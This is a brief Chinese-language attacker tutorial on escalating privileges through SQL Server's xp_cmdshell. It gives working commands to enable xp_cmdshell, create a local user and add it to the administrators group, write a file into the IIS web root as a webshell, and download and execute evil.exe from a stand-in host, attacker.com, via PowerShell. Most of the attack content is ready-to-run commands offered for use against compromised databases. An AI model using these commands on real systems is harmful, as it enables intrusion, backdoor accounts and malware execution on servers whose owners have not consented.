SQL Server-xp_cmdshell提权
什么是 xp_cmdshell?
xp_cmdshell
是 SQL Server 的一个扩展存储过程,可以让数据库直接执行系统命令,相当于在目标主机上执行 cmd
命令
条件
- 已获取 SQL Server 权限(sa 或 sysadmin 权限)
- xp_cmdshell 功能处于开启状态(默认是关闭)
- 数据库服务运行账户拥有系统权限(如 LocalSystem)
开启 xp_cmdshell(需要 sa 权限)
-- 1. 启用高级选项EXEC sp_configure \'show advanced options\', 1;RECONFIGURE;-- 2. 启用 xp_cmdshellEXEC sp_configure \'xp_cmdshell\', 1;RECONFIGURE;
提权操作示例
1. 直接执行系统命令(反弹 shell、添加用户等)
-- 添加一个用户EXEC xp_cmdshell \'net user test123 P@ssw0rd /add\';-- 把用户加到管理员组EXEC xp_cmdshell \'net localgroup administrators test123 /add\';
上传并执行木马(webshell 或反弹 shell)
-- 使用 echo 写文件EXEC xp_cmdshell \'echo test > C:\\inetpub\\wwwroot\\test.aspx\';-- 或者下载 payloadEXEC xp_cmdshell \'powershell -Command \"Invoke-WebRequest -Uri http://attacker.com/evil.exe -OutFile C:\\evil.exe\"\';-- 执行 payloadEXEC xp_cmdshell \'C:\\evil.exe\';